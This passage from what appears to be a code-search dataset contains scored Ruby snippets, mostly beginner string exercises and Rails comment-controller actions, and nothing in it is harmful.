string.split(\"\")\n array_2 = []\n array.each_with_index do |letter, index|\n if letter == \"r\" || letter == \"R\"\n array_2 << array[index + 1]\n end\n end\n return array_2.join\nend", "title": "" }, { "docid": "5072827c7c96b1e3966efbbe079992c1", "score": "0.6637542", "text": "def polly_wanna word\n p word\n p word * 3\n return str = word * 3\nend", "title": "" }, { "docid": "d654c298e5f8b7c78946c30fa3b64efb", "score": "0.6635521", "text": "def pirates_say_arrrrrrrrr(string)\n new_string = String.new\n for n in 0...string.length-1 do\n new_string << string[n+1] if string[n] == \"r\" || string[n] == \"R\"\n end\n return new_string\nend", "title": "" }, { "docid": "93fc28640391f3cb1319e1f503bf6d6f", "score": "0.6627851", "text": "def pirates_say_arrrrrrrrr(string)\n\n\t a = string.downcase.chars\n\t x = 0\n\t b = []\n\t while x < string.length\n\t b << a[x+1] if a[x] == \"r\"\n\t x = x + 1\n\tend\n\tb.join\nend", "title": "" }, { "docid": "247ad4b6b0be28e4d74035fc85989832", "score": "0.66261286", "text": "def pirates_say_arrrrrrrrr(string)\n letters = string.split\"\" \n letters.map!.each_with_index do |item, index | \n if item == \"r\" || item == \"R\"\n letters[index+1]\n \n \n \n else\n \"\"\n end\n end\n letters.join\n end", "title": "" }, { "docid": "52f78c019a563e02d27f999d68b8e1f9", "score": "0.6623526", "text": "def friendly_parrot (name, age)\r\n \"Hi #{name} you are #{age}.\"\r\nend", "title": "" }, { "docid": "6406bd67568a4187118089eb5019d2ef", "score": "0.6622424", "text": "def make_hello_sentence(person_name, score)\n \"Hello there #{person_name} you scored #{score}\"\nend", "title": "" }, { "docid": "4fbd7496decc0a009a5b24aaec3ab6cd", "score": "0.66199285", "text": "def polly_wanna (word)\n return word*3\nend", "title": "" }, { "docid": "4fbd7496decc0a009a5b24aaec3ab6cd", "score": "0.66199285", "text": "def polly_wanna (word)\n return word*3\nend", "title": "" }, { "docid": "4ab132bf9b4a6348373d68fd6fef6a77", "score": "0.6612738", "text": "def greet name\n\t\"Good night #{name}\" # => \"Good night Pito\", \"Good night Pito\"\nend", "title": "" }, { "docid": "ff89dcd66f137a462164887166823264", "score": "0.6590288", "text": "def whisper(phrase)\n return \"#{phrase.downcase}......\"\nend", "title": "" }, { "docid": "04614d60ffdc191d30baa7181679e3d2", "score": "0.6584487", "text": "def get_sample_phrase_2\r\n \"the bat in the flat\"\r\n end", "title": "" }, { "docid": "a81e9134645da11f942acf00f449b871", "score": "0.65815854", "text": "def friendly_parrot (name, age)\n \"Hi #{name} you are #{age}.\"\nend", "title": "" }, { "docid": "a70175f2e713fce2add3da90f9b8f887", "score": "0.65776014", "text": "def pirates_say_arrrrrrrrr(string)\n\tstring1 =[]\n\tstring = string.downcase\n\ta = (0 ... string.length).find_all { |i| string[i,1] == 'r' }\n\ta.each do|i|\n\t\tstring1.push(string[i+1])\n\tend\n\tstring1.join(\"\")\n\nend", "title": "" }, { "docid": "47a387a58427c6d9c4daebe57d90356c", "score": "0.6575597", "text": "def pirates_say_arrrrrrrrr(string)\n\tresult = \"\"\n\tcounter = 0\n\tstring.each_char do |letter|\n\t\tif (string[counter - 1] == \"r\" || string[counter - 1] == \"R\") && counter != 0\n\t\t\tresult << letter\n\t\tend\n\t\tcounter += 1\n\tend\n\n\treturn result\n\nend", "title": "" }, { "docid": "45fd4c92eccbd636589dc02f85af758e", "score": "0.6563318", "text": "def pirates_say_arrrrrrrrr(string)\n n=0\n newstring =\"\"\n\n while n+1 < string.length do\n if\n string[n] == \"r\" || string[n] == \"R\"\n newstring << string[n+1]\n end\n n+=1\n end\n\n return newstring\n\nend", "title": "" }, { "docid": "ef29af87606234506f0b72274abc6760", "score": "0.656257", "text": "def pirates_say_arrrrrrrrr(string)\n newy =\"\"\n \n var = string.split(//)\n \n array = var\n array.each_with_index {|val, index| newy << array.at(index + 1).to_s if val.match(/[\"r\",\"R\"]/) }\n return newy\n\nend", "title": "" }, { "docid": "bb2088704e98371c2416bdfc29711ec7", "score": "0.65535444", "text": "def pirates_say_arrrrrrrrr(string)\n characters = \"\"\n (0...string.length).each do |pos|\n characters << string[pos+1] if(string[pos].downcase == 'r' && pos != (string.length() - 1)) # convert character lowercase using downcase\n #check that this is not the last character in the string and current letter = r\n end\n return characters\nend", "title": "" }, { "docid": "fdf20d1c7c450a890926a6a8803f213e", "score": "0.65500146", "text": "def friendly_parrot(name,age)\n \"Hello #{name}. You are #{age} years old.\"\nend", "title": "" }, { "docid": "f546706af51f36d3e114066cfdc78c9c", "score": "0.6546088", "text": "def pronounce_awesome(name_1,name_2)\n p \"I now pronounce you, #{name_1}, \" + \"and you, #{name_2}, as awesome.\"\nend", "title": "" }, { "docid": "839821f66238de71549b83dde1327598", "score": "0.6545972", "text": "def pirates_say_arrrrrrrrr(string)\nto_return=\"\"\n rule = false\n string.chars.each { |c|\n to_return << c if rule\n rule = (c == \"r\" || c == \"R\")\n }\n to_return\nend", "title": "" }, { "docid": "8eee72538e8f74ea32eba986d6a2ea2d", "score": "0.6544862", "text": "def pirates_say_arrrrrrrrr(string)\n letters = \"\"\n string.length.times do |l|\n next if string[l].to_s.downcase != 'r'\n letters << string[l.next].to_s\n end\n return letters\nend", "title": "" }, { "docid": "d86864cc147aae19ea689a4e33da6038", "score": "0.654136", "text": "def polly_wanna(word)\n return word*3\nend", "title": "" }, { "docid": "1ade1a8f94d1adad57cbbc8eb7db98aa", "score": "0.6538749", "text": "def pirates_say_arrrrrrrrr(string)\n str = \"\"\n splitted = string.chars\n splitted.each_with_index do |item, index|\n if (item.downcase == 'r') && index != splitted.length - 1\n \tstr += splitted[index +1]\n end\n end\n str\nend", "title": "" }, { "docid": "c3f9738bab6a474117eaf9ea4fb198fe", "score": "0.6536338", "text": "def pirates_say_arrrrrrrrr(string)\n\tresult = ''\n\tstring.length.times do |index|\n\t\tif string[index] == 'r' || string[index] == 'R'\n\t\t\tresult << string[index+1].to_s\n\t\tend\n\tend\n\treturn result\nend", "title": "" }, { "docid": "cb0bf82d5bd60780a0011d79834105ef", "score": "0.6536225", "text": "def pirates_say_arrrrrrrrr(string)\n\tarrr = []\n\tcount = 0\n\tstring.split(\"\").each do |letter|\n\t\tcount += 1\n\t\tarrr << string[count] if letter.downcase == \"r\"\n\tend\n\tarrr.join(\"\")\nend", "title": "" }, { "docid": "3bb924fefc9b9e2b020a487a888bb4ac", "score": "0.653387", "text": "def pirates_say_arrrrrrrrr(string)\n# this line creates a variable called return_string that will take a string passed to it\n return_string = \"\"\n# this sets next_char variable to be false (which is later set as true if a condition is met)\n next_char = false\n# this looks at the size of the string, and tells Do to index it by the number of characters\n string.size.times do |index|\n# this sets current_char variable to equal the index of the string\n current_char = string[index]\n# this inserts the current_char into return_string only if next_char is true\n return_string << current_char if next_char\n# and here is the condition to that makes next_char true - if current_char is equal to \"r\" or \"R\"\n next_char = (current_char == \"r\" || current_char == \"R\")\n end\n# this returns the result of return_string once the method has carried out its work\n return_string\nend", "title": "" }, { "docid": "190f9e69ee5d713263a482e4d7717667", "score": "0.6530473", "text": "def pirates_say_arrrrrrrrr(string)\n # find index of all 'r' & then collect chars at next index and join \n (0...string.length).find_all {|i| string[i].downcase == 'r'}.collect{|index| string[index+1]}.join\nend", "title": "" }, { "docid": "45e3e082abc6575342c8f4c58b92a5d9", "score": "0.6520124", "text": "def friendly_parrot(name, age)\n \"Hi #{name}, You are #{age} years old!\"\nend", "title": "" }, { "docid": "635271eafcf30e3efd81b26866cf5d4e", "score": "0.6519837", "text": "def say_goodnight(name)\n result = \"Good night, #{name} \"\n return result\nend", "title": "" }, { "docid": "14720dd69cd80f670a60166b8f32517e", "score": "0.6519496", "text": "def pirates_say_arrrrrrrrr(string)\n to_return = \"\"\n string.split(\"\").each_with_index do |x, index| \n if x == \"r\" || x == \"R\" # string[index] == \"r\"\n i = index + 1\n to_return << string[i] unless i == string.length #starts at zero\n end\n end\n to_return\nend", "title": "" }, { "docid": "5bc2229a3bb8e4c9d31bdc57696a8dd6", "score": "0.6512794", "text": "def who_am_i\n p \"My name is Fog\"\n p \"I am smart\"\n p \"And love to code\"\nend", "title": "" }, { "docid": "77a606ecab08eb52388fa1b03f56625f", "score": "0.65093386", "text": "def pirates_say_arrrrrrrrr(string)\n s = string\n l = string.length\n limit = l - 1\n new_s = \"\"\n s.each_char.with_index { |c, i| new_s << s[i+1] if (i < limit) && (c == \"r\" || c == \"R\") }\n new_s\nend", "title": "" }, { "docid": "4606b68c056e1edf3a15153365aa8d7b", "score": "0.6505764", "text": "def pirates_say_arrrrrrrrr(string)\nword = \"\"\nletters = string.downcase.split(\"\")\n\nletters.each_with_index do |x,i|\n\t\n\tif x == \"r\" && i != letters.size - 1\n\tword << letters[i+1] \n end \n\nend\nword\nend", "title": "" }, { "docid": "af16095c00b4d12947552d4330b3a8f4", "score": "0.65007544", "text": "def pirates_say_arrrrrrrrr(string)\n\tarray = Array.new\n\tstring.split('').each_with_index { |c,i| array.push(i) if ['R', 'r'].include?(c) && string.length > i+1 }\n\tnew_string = \"\"\n\tarray.each{|y| new_string << string[y+1] }\n\tnew_string\nend", "title": "" }, { "docid": "df8ae4db52b039473984420dadc5966e", "score": "0.64958596", "text": "def pirates_say_arrrrrrrrr(string)\n\t\n\tc = string.downcase.chars\n\tsize = c.length\n\tresult = []\n\t(0..size-1).each do |i|\n\t\tif (c[i] == \"r\")\n\t\t\tif (i < size - 1)\n\t\t\t\tresult.push(c[i + 1])\n\t\t\tend\n\t\tend\n\tend\n\treturn result.join(\"\")\n\t\nend", "title": "" }, { "docid": "2ed354e3b18ae7719a16986fa5728c7e", "score": "0.6493963", "text": "def friendly_parrot(name, age)\n \"You are #{name} and #{age} years old\"\nend", "title": "" }, { "docid": "448cedd884c7ab1d9aaef08c9ad6872c", "score": "0.6493181", "text": "def friendly_parrot(name, age)\n \"Hello, #{name}, you are #{age} years old.\"\nend", "title": "" }, { "docid": "094bbf81754bb102935762ece802b7ac", "score": "0.64829284", "text": "def pirates_say_arrrrrrrrr(string) \nr = false\nnew_str = \"\"\n string.downcase.each_char {|n|\n if r == true\n new_str << n \n end\n n == \"r\" ? r = true : r = false\n }\nnew_str\n \nend", "title": "" }, { "docid": "b594fe73de61ac883c8399fc3c12c36c", "score": "0.6481704", "text": "def pirates_say_arrrrrrrrr(string)\n\n\tnewstring = \"\"\n\n\tfor i in 0..string.length \n\n\n\t\tif (string[i] == 'r' || string[i] == 'R') && string[i+1] != nil\n\t\t\tnewstring << string[i+1]\n\t\tend\n\tend\n\n\treturn newstring\n\nend", "title": "" }, { "docid": "fe9969c87a90e95cba92ec1b36ee032c", "score": "0.6475374", "text": "def pirates_say_arrrrrrrrr(string)\n arr = string.split(//)\n to_return = []\n\n arr.each_with_index do |x, i|\n if x == \"r\" or x == \"R\"\n to_return << arr[i+1]\n else\n \"No 'r's found!\"\n end\n end\n return to_return.join.to_s\nend", "title": "" }, { "docid": "84cf8ad427be52214f3636b07e93143f", "score": "0.6473651", "text": "def happy_parrot (thing)\r\n \"I am so happy about #{thing}!\"\r\nend", "title": "" }, { "docid": "eead673fe1d9efe34a16f781e37883f0", "score": "0.6472408", "text": "def pirates_say_arrrrrrrrr(string)\n # Create empty string\n answer = \"\"\n # Set as false to automatically append characters to the empty strgin\n next_char = false\n # Loop through each character of the supplied string\n string.size.times do |x|\n # The current letter the loop is focussing on\n letter = string[x]\n # Next char set to False, so will not append character to the string, unless it is True\n answer << letter if next_char\n # When an 'r' or 'R' is found 'next_char' is set to true\n # This will mean the next letter in the loop will be appended\n # When not found it sets next_char back to 'False'\n next_char = (letter == \"r\" || letter == \"R\")\n end\n # Return answer\n answer\nend", "title": "" }, { "docid": "1e1fbf160d69acf0343b619c4f4dd8b1", "score": "0.6472402", "text": "def friendly_parrot(name, age)\n \"well hello there, #{name}!! you're a young #{age} years old!!\"\nend", "title": "" }, { "docid": "0d7eacf110163df9b4814b419e2beec6", "score": "0.6469909", "text": "def pirates_say_arrrrrrrrr(string)\n new_str = ''\n s_array = string.split('')\n s_array.each.with_index do |c, i|\n if s_array[i + 1]\n new_str += s_array[i+1] if c =~ /[Rr]/\n end\n end\n new_str\nend", "title": "" }, { "docid": "25639c937c84f8a139fca0687c05d49b", "score": "0.6466448", "text": "def pirates_say_arrrrrrrrr(string)\n\treturning = \"\"\n\tnextc = false\n\tstring.length.times {|x| \n\t\tcharacter = string[x]\n\t\treturning << character if nextc\n\t\tnextc = (character == \"r\" || character == \"R\")\n\t}\n\treturning\nend", "title": "" }, { "docid": "96b31d2200ec9a9924ebb6af099f7c0a", "score": "0.6462744", "text": "def say_goodnight(name)\n result = 'Good night, '+ name\n return result\nend", "title": "" }, { "docid": "1987b455ac7d5e6ed68e119aa2d1abf3", "score": "0.6461657", "text": "def greetings(nn)\n return \"#{nn} Mundo\" if nn == 'Hola'\n \"Hola #{nn}\"\nend", "title": "" }, { "docid": "2c243b6922d3405a72ab12c88d31b616", "score": "0.6461278", "text": "def friendly_parrot(name,age)\n \"Hello,#{name}! You are #{age} years old!\"\nend", "title": "" }, { "docid": "a28474bc03f824ca4e8cdfe6c22b5b1b", "score": "0.6461098", "text": "def pirates_say_arrrrrrrrr(string)\n arr_string = \"\"\t \n count = 0\n string.length.times do |x|\n \tif string[count].downcase == \"r\" && count < string.length - 1\n \t\tcount += 1\n \t\tarr_string << string[count]\n \telse\n \t\tcount += 1\n \tend\n end\n arr_string\nend", "title": "" }, { "docid": "cc25a04ba4de5b4442ea6442d8ca5a51", "score": "0.64606094", "text": "def pirates_say_arrrrrrrrr(string)\n array = string.to_s.split(\"\")\n new_array = Array.new\n for i in 0..string.length do\n if array[i] == \"r\" || array[i] == \"R\"\n new_array << array[i + 1]\n end\n end\n new_array.join\nend", "title": "" }, { "docid": "67f5a18aeb28102787193e05cf1f395e", "score": "0.6455677", "text": "def people(name1, name2)\n return \"#{name1} never really like #{name2} because #{name2} insisted they were perfect.\"\nend", "title": "" }, { "docid": "6d31cb8a0fb16f304ad4d4a0776792fa", "score": "0.6448486", "text": "def say_goodnight2(name)\n \"Good night, #{name}\"\nend", "title": "" }, { "docid": "b9947e4077c3e9b27cc97ca50c3bc09f", "score": "0.64481056", "text": "def pirates_say_arrrrrrrrr(string)\n strarr = string.split('')\n newarr = strarr.each_index.select{|i| strarr[i] == 'r' || strarr[i] == 'R'}\n fnlarr = []\n newarr.each do |r1_index|\n r1_index += 1\n fnlarr.push(\"#{strarr[r1_index]}\")\n end\n fnlarr.join(\"\")\nend", "title": "" } ]
7bfcdf0b9baace60d58eefb77d5b1672
GET /locations/:id/comments GET /locations/:id/comments.xml
[ { "docid": "74a310427cfa59da156ede5989ebf771", "score": "0.7687215", "text": "def index\n @location = Location.find(params[:location_id])\n @comments = @location.comments\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @comments }\n end\n end", "title": "" } ]
[ { "docid": "212b8cf072734b4ab39a2fd57f397ff0", "score": "0.69569254", "text": "def show\n @comment = Comment.find(params[:id])\n @location = @comment.location\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "85d82f5086bd638b99c7f497cac5ab7e", "score": "0.67416275", "text": "def get_comments\n Comment.build_from_xml(@xml['comments'])\n end", "title": "" }, { "docid": "23981ddd61fbeac7e4ddf3a6b74e65cc", "score": "0.66818666", "text": "def index\n @commentable = find_commentable\n @comments = @commentable.comments\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @comments }\n end\n end", "title": "" }, { "docid": "6336af7657aec205ca8f72d2be345546", "score": "0.6624837", "text": "def index\n @comments = @commentable.comments\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @comments }\n end\n end", "title": "" }, { "docid": "b1eab2d35c6779f63665d2f238455f77", "score": "0.6610011", "text": "def index\n\t\t# TODO redirect_to somewhere !?\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.xml { render :xml => @comments }\n\t\tend\n\tend", "title": "" }, { "docid": "2369a7e706f262b7d44cb24dbd0c576c", "score": "0.6542289", "text": "def show\n @comment = @activity.comments.find(params[:id])\n respond_to do |format|\n format.html\n format.xml { render :xml => @comment.to_xml(:include => :user, :except => NB_CONFIG['api_exclude_fields']) }\n format.json { render :json => @comment.to_json(:include => :user, :except => NB_CONFIG['api_exclude_fields']) }\n end\n end", "title": "" }, { "docid": "32c987bead6e8510cbd5f6962fde9471", "score": "0.6512209", "text": "def show\n respond_to do |format|\n format.json { render json: @comment }\n format.xml { render xml: @comment }\n end\n end", "title": "" }, { "docid": "3f6dd876e9c56f95f45055d241b43d00", "score": "0.6455853", "text": "def comments tag\n path = \"/comment/#{tag}/show.xml\"\n doc = http_get path\n \n comments = []\n xpath(doc, \"//comment\").each do |entry|\n comments << Comment.new(:xml => entry)\n end\n comments\n end", "title": "" }, { "docid": "94da31fb97c8a24806e411501e1b6717", "score": "0.6450151", "text": "def index\n @comments = Comment.all\n @location = Location.find params[:location_id]\n end", "title": "" }, { "docid": "8738115c5acaf73adcb8020353eb2410", "score": "0.63941056", "text": "def index\n @comments = Comment.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @comments }\n end\n end", "title": "" }, { "docid": "baf4f27ff98d0a92364d88e8404bc694", "score": "0.63883835", "text": "def show\n @commentable = find_commentable\n @comment = @commentable.comments.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "ac260c6e8b90b33ed2ad83543ee9966d", "score": "0.63831836", "text": "def show\n @ccomment = Ccomment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ccomment }\n end\n end", "title": "" }, { "docid": "b5b1d1bc9e08ec60d609f50f24be1e8f", "score": "0.6361097", "text": "def show\n @requests_request_commentary = Requests::RequestCommentary.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @requests_request_commentary }\n end\n end", "title": "" }, { "docid": "ab3b1c4012ce7ceb603e3e5117779a46", "score": "0.6349827", "text": "def index\n @comments = Comment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @comments }\n end\n end", "title": "" }, { "docid": "ab3b1c4012ce7ceb603e3e5117779a46", "score": "0.6349827", "text": "def index\n @comments = Comment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @comments }\n end\n end", "title": "" }, { "docid": "ab3b1c4012ce7ceb603e3e5117779a46", "score": "0.6349827", "text": "def index\n @comments = Comment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @comments }\n end\n end", "title": "" }, { "docid": "ab3b1c4012ce7ceb603e3e5117779a46", "score": "0.6349827", "text": "def index\n @comments = Comment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @comments }\n end\n end", "title": "" }, { "docid": "ab3b1c4012ce7ceb603e3e5117779a46", "score": "0.6349827", "text": "def index\n @comments = Comment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @comments }\n end\n end", "title": "" }, { "docid": "ab3b1c4012ce7ceb603e3e5117779a46", "score": "0.6349827", "text": "def index\n @comments = Comment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @comments }\n end\n end", "title": "" }, { "docid": "ab3b1c4012ce7ceb603e3e5117779a46", "score": "0.6349827", "text": "def index\n @comments = Comment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @comments }\n end\n end", "title": "" }, { "docid": "f670e41e5dab4d3bb730900cc224b636", "score": "0.63283926", "text": "def show\n @scomment = Scomment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @scomment }\n end\n end", "title": "" }, { "docid": "c0a90b898cd1f1161363a685e7aaa389", "score": "0.6328219", "text": "def show\n @title=\"Comments\"\n @comment = @conversation.comments.find(params[:id])\n\n respond_to do |format|\n format.html { redirect_to(conversation_path(@conversation)) }\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "5177afa6a5acf15bab9f16d08d264d0f", "score": "0.629546", "text": "def show\n @comment = @object\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment.to_xml(:include => convert_includes(includes),\n :dasherize => false) }\n end\n end", "title": "" }, { "docid": "a3b36914dd4ebddf7dd845a871ae30a7", "score": "0.6290206", "text": "def index\n @comments = Comment.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @hiring_comments }\n end\n end", "title": "" }, { "docid": "3d88249e2d16dd5aa1ed3fe94774fdef", "score": "0.6265702", "text": "def comments\n request_str = \"/gallery/appliances/#{id.to_i}/comments\"\n response = GenericRequest.new(self.class.studio_connection).get request_str\n tree = XmlSimple.xml_in response, \"ForceArray\" => [\"comment\"]\n tree[\"appliance\"][\"comments\"][\"comment\"].collect do |c|\n Comment.parse(self,c)\n end\n end", "title": "" }, { "docid": "51a5b5135fae9b718730d85820946b9f", "score": "0.6258856", "text": "def comments(params = {})\n merged_params = default_params.merge(params)\n uri = Osmek::Uri.new('feed/comments')\n request = Osmek::Request.new(uri, merged_params)\n request.perform\n end", "title": "" }, { "docid": "5657db2bafb9aae789d1cd3bc7db3649", "score": "0.6253585", "text": "def index\n @bug = Bug.find(params[:bug_id])\n @comments = @bug.comments.paginate(:page => params[:page])\n flash[:notice] = \"Comments found (#{@comments.size}).\"\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @comments }\n end\n end", "title": "" }, { "docid": "934b852e3aa55b01ef52fac23c4b87b5", "score": "0.62506217", "text": "def get_comments\n url = params[:ifq_url]\n \n comments_id = get_comments_id(url) \n unparsed_comments = get_unparsed_comments(comments_id)\n comments = parse_comments(unparsed_comments)\n respond_to do |format|\n format.json {render json: {comments: comments}}\n end\n end", "title": "" }, { "docid": "88d3e5f43b9db5c9a37963b1295eef91", "score": "0.6237692", "text": "def index\n respond_to do |format|\n format.html { render :template => 'layouts/404', :status => 404 }\n format.xml do\n @comments = Article.find(params[:article_id]).comments\n render :xml => @comments\n end\n end\n end", "title": "" }, { "docid": "55920c6ebbd82293a317641928b141d8", "score": "0.62320447", "text": "def index\n @texto = Texto.find(params[:texto_id])\n @comments = @texto.comments\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @comments }\n end\n end", "title": "" }, { "docid": "b9cc6c80dd70a095afc75669618f6141", "score": "0.6215968", "text": "def show\n @comment = Comment.find(params[:id])\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @comment.to_xml }\n end\n end", "title": "" }, { "docid": "0c43ca9952ff718cbbcce0fb515adfbc", "score": "0.6206183", "text": "def index\n @title=\"Comments\"\n @comments = @conversation.comments.all\n\n respond_to do |format|\n format.html { redirect_to(conversation_path(@conversation)) }\n format.xml { render :xml => @comments }\n end\n end", "title": "" }, { "docid": "f8d172198f7cb70d48e87e1ac32a4d76", "score": "0.6185787", "text": "def object_comments object_id\n response = get(\"/#{object_id}/comments\")\n end", "title": "" }, { "docid": "0f689ad6cf310cbcd170899917b6eab5", "score": "0.618393", "text": "def show\n @newcomment = Newcomment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @newcomment }\n end\n end", "title": "" }, { "docid": "3f5e0d8ecda112f4bbc5bc12ad853c96", "score": "0.61773366", "text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "4da88c4aae276bed72adc3a725f898cf", "score": "0.6176307", "text": "def index\n @post = Post.find(params[:post_id])\n @comments = @post.comments.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @comments }\n end\n end", "title": "" }, { "docid": "a7ee81ebb3e29efd5882a91caf2d8be7", "score": "0.6169588", "text": "def show\n @comment = Comment.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "b948559b6c26ca788e48294fb24b074e", "score": "0.61514616", "text": "def index\n\n @commentable = find_resource\n @comments = @commentable.comments\n\n end", "title": "" }, { "docid": "a2bed87aee72b93019943c2a2be9de59", "score": "0.6150561", "text": "def new\n @location = Location.find_by_id(params[:location_id])\n \n if @location\n @comment = Comment.new()\n @comment.location = @location\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @comment }\n end\n else\n respond_to do |format|\n format.html { render :file => \"#{RAILS_ROOT}/public/404.html\", :status => :not_found }\n format.xml { head :status => :not_found }\n end\n end\n end", "title": "" }, { "docid": "f0d21c37acc76fc8b83b440ca18511b0", "score": "0.61358845", "text": "def show\n @comment = Comment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "f0d21c37acc76fc8b83b440ca18511b0", "score": "0.61358845", "text": "def show\n @comment = Comment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "f0d21c37acc76fc8b83b440ca18511b0", "score": "0.61358845", "text": "def show\n @comment = Comment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "f0d21c37acc76fc8b83b440ca18511b0", "score": "0.61358845", "text": "def show\n @comment = Comment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "f0d21c37acc76fc8b83b440ca18511b0", "score": "0.61358845", "text": "def show\n @comment = Comment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "f0d21c37acc76fc8b83b440ca18511b0", "score": "0.61358845", "text": "def show\n @comment = Comment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "f0d21c37acc76fc8b83b440ca18511b0", "score": "0.61358845", "text": "def show\n @comment = Comment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "f0d21c37acc76fc8b83b440ca18511b0", "score": "0.61358845", "text": "def show\n @comment = Comment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "f0d21c37acc76fc8b83b440ca18511b0", "score": "0.61358845", "text": "def show\n @comment = Comment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "f0d21c37acc76fc8b83b440ca18511b0", "score": "0.61358845", "text": "def show\n @comment = Comment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "f0d21c37acc76fc8b83b440ca18511b0", "score": "0.61358845", "text": "def show\n @comment = Comment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "f0d21c37acc76fc8b83b440ca18511b0", "score": "0.61358845", "text": "def show\n @comment = Comment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "f0d21c37acc76fc8b83b440ca18511b0", "score": "0.61358845", "text": "def show\n @comment = Comment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "f0d21c37acc76fc8b83b440ca18511b0", "score": "0.61358845", "text": "def show\n @comment = Comment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "f0d21c37acc76fc8b83b440ca18511b0", "score": "0.61358845", "text": "def show\n @comment = Comment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "f0d21c37acc76fc8b83b440ca18511b0", "score": "0.61358845", "text": "def show\n @comment = Comment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "f0d21c37acc76fc8b83b440ca18511b0", "score": "0.61358845", "text": "def show\n @comment = Comment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "f0d21c37acc76fc8b83b440ca18511b0", "score": "0.61358845", "text": "def show\n @comment = Comment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "f0d21c37acc76fc8b83b440ca18511b0", "score": "0.61358845", "text": "def show\n @comment = Comment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "f0d21c37acc76fc8b83b440ca18511b0", "score": "0.61358845", "text": "def show\n @comment = Comment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "f0d21c37acc76fc8b83b440ca18511b0", "score": "0.61358845", "text": "def show\n @comment = Comment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "f0d21c37acc76fc8b83b440ca18511b0", "score": "0.6133156", "text": "def show\n @comment = Comment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "49ca28a9dad77b185d48297aa65cc768", "score": "0.61319375", 